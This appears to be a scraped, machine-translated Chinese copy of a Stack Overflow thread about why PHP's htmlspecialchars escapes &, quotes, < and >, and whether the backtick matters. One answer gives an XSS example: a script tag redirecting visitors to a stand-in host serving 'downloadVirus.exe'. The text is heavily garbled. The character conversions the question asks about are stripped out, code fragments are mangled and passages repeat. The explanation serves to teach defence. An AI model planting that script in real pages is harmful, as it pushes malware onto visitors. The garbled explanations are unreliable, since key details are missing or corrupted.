为什么这5(6?)个字符被视为;“不安全”;HTML字符?
在PHP中,有一个名为的函数对字符串执行以下替换:为什么这5(6?)个字符被视为;“不安全”;HTML字符?,html,escaping,code-injection,javascript-injection,html-injections,Html,Escaping,Code Injection,Javascript Injection,Html Injections,在PHP中,有一个名为的函数对字符串执行以下替换: &(与号)转换为& “(双引号)转换为” ”(单引号)转换为'(仅当设置了ENT_QUOTES标志时) (大于)转换为 显然,这样做的理由是这5个特定字符是不安全的HTML字符 我可以理解为什么后两个被认为是不安全的:如果它们只是“重复”,那么任意/危险的HTML可能会被交付,包括潜在的带有的javascript等等 问题1。为什么前三个字符(符号、双引号、单引号)也被认为是“不安全的”? 此外,我还偶然发现了一个关于编码/
(与号)转换为&
&代码>
(双引号)转换为“
”
(单引号)转换为”
'代码>(仅当设置了ENT_QUOTES标志时)
(大于)转换为
的javascript等等
问题1。为什么前三个字符(符号、双引号、单引号)也被认为是“不安全的”?
此外,我还偶然发现了一个关于编码/解码HTML实体的方法。在那里,我发现了以下情况: […]在HTML内容(&、、'和`)中使用不安全的字符将被编码。[…] () 问题2.是否有充分的理由考虑倒勾另一个不安全的HTML字符?如果是,这是否意味着上述PHP函数已经过时
最后,所有这些都回避了一个问题:
问题3.除了上面提到的5/6个字符之外,还有其他字符被认为是“不安全的”吗?这些字符是不安全的,因为在html中
定义了一个标记。“和
”
用于包围属性由于在html实体中使用,因此对
和进行了编码。
不应对其他字符进行编码,但可以对其进行编码:
贸易符号可以制作成&trade代码>
美元符号可以做成&dollar代码>欧元可以是&欧元代码>
任何表情符号都可以由HTML实体(编码对象的名称)组成
您可以找到解释/示例多诺万的回答很好地解释了这一点,但我将在这里提供一些示例,说明这些特定字符会导致多大问题
这些字符被认为是不安全的,因为它们是执行XSS(跨站点脚本)攻击(或使用无辜输入意外破坏页面)的最明显方式
考虑一下网站上的评论功能。您提交一个带有文本区域的表单。它被保存到数据库中,然后在页面上为所有访问者显示
现在我有一个类似这样的评论
<script type="text/javascript">
window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe";
</script>
假设用户出于某种原因使用了
来强调。他们的评论将使人感到震惊
这里有些东西
显然,这是不可取的行为
&
会出现较少恶意的情况<代码>&
用于表示HTML实体,如&
和“
和
等。因此,外观纯真的文本很容易意外地成为html实体,最终看起来与用户非常不同,也非常奇怪
考虑一下评论
I really like #455 ó please let me know when they're available for purchase.
这将被视为
我真的很喜欢#455ó请告诉我何时可以购买
显然不是有意的行为
关键是,这些符号在大多数情况下被认为是防止大多数XSS漏洞/bug的关键,因为它们可能用于有效的输入,但需要转义才能在HTML中正确呈现
关于你的第二个问题,我个人不知道有什么方法可以将backtick视为不安全的HTML字符
至于你的第三个问题,也许吧。不要依赖黑名单来过滤用户输入。相反,使用已知OK输入的白名单,然后从那里开始工作。这并不能真正回答你的问题,但确实在某种程度上说明了#3:在过滤XSS漏洞等时,使用白名单,而不是黑名单。如果你必须允许HTML,那么就让它成为一个极端limited子集。试图过滤掉所有可能的坏条目比只允许好条目要困难得多。@CollinD谢谢-我同意简单地转义这5(6?)个字符并不是防止漏洞的最佳方法。我的问题更多的是为什么这5个字符被认为“更重要”“比其他人,如果有其他人应该放在同一个袋子里,比如backtick,也许。现在,有人愿意猜这个问题出了什么问题吗?”?我收到了一张没有解释的随机否决票。我期待着改进/解决这个问题,但是没有评论我不能这样做。谢谢,谢谢,但这并不能回答问题。你刚才说明了引号和符号的使用位置。我的问题是哪些符号对允许注射是危险的(更重要的是,为什么)。非常感谢。报价呢?它们被用来包围属性,很好,我知道,但是你能详细说明一下吗?他们自己能做伤害/意外的事情吗?(即没有
的“帮助”)可能。我非常犹豫是否直接说“不”。这里有更多的细节要查看。最明显的问题是,如果您接受用户输入并将其放入属性中,那么引用显然会造成伤害并逃避属性本身。例如,允许用户输入图像标题,并在img
标记的title
属性中使用它,用户只需去掉引号,就可以潜在地更改img
标记的src
属性。上下文就是一切。htmlspecialchars()
PHP函数只是一个通用函数,用于转义HTML文档(HTML文档中的任何位置)中可能具有特殊意义的字符。这不仅仅是为了使输出“安全”。事实上,PHP文档没有引用
I really like #455 ó please let me know when they're available for purchase.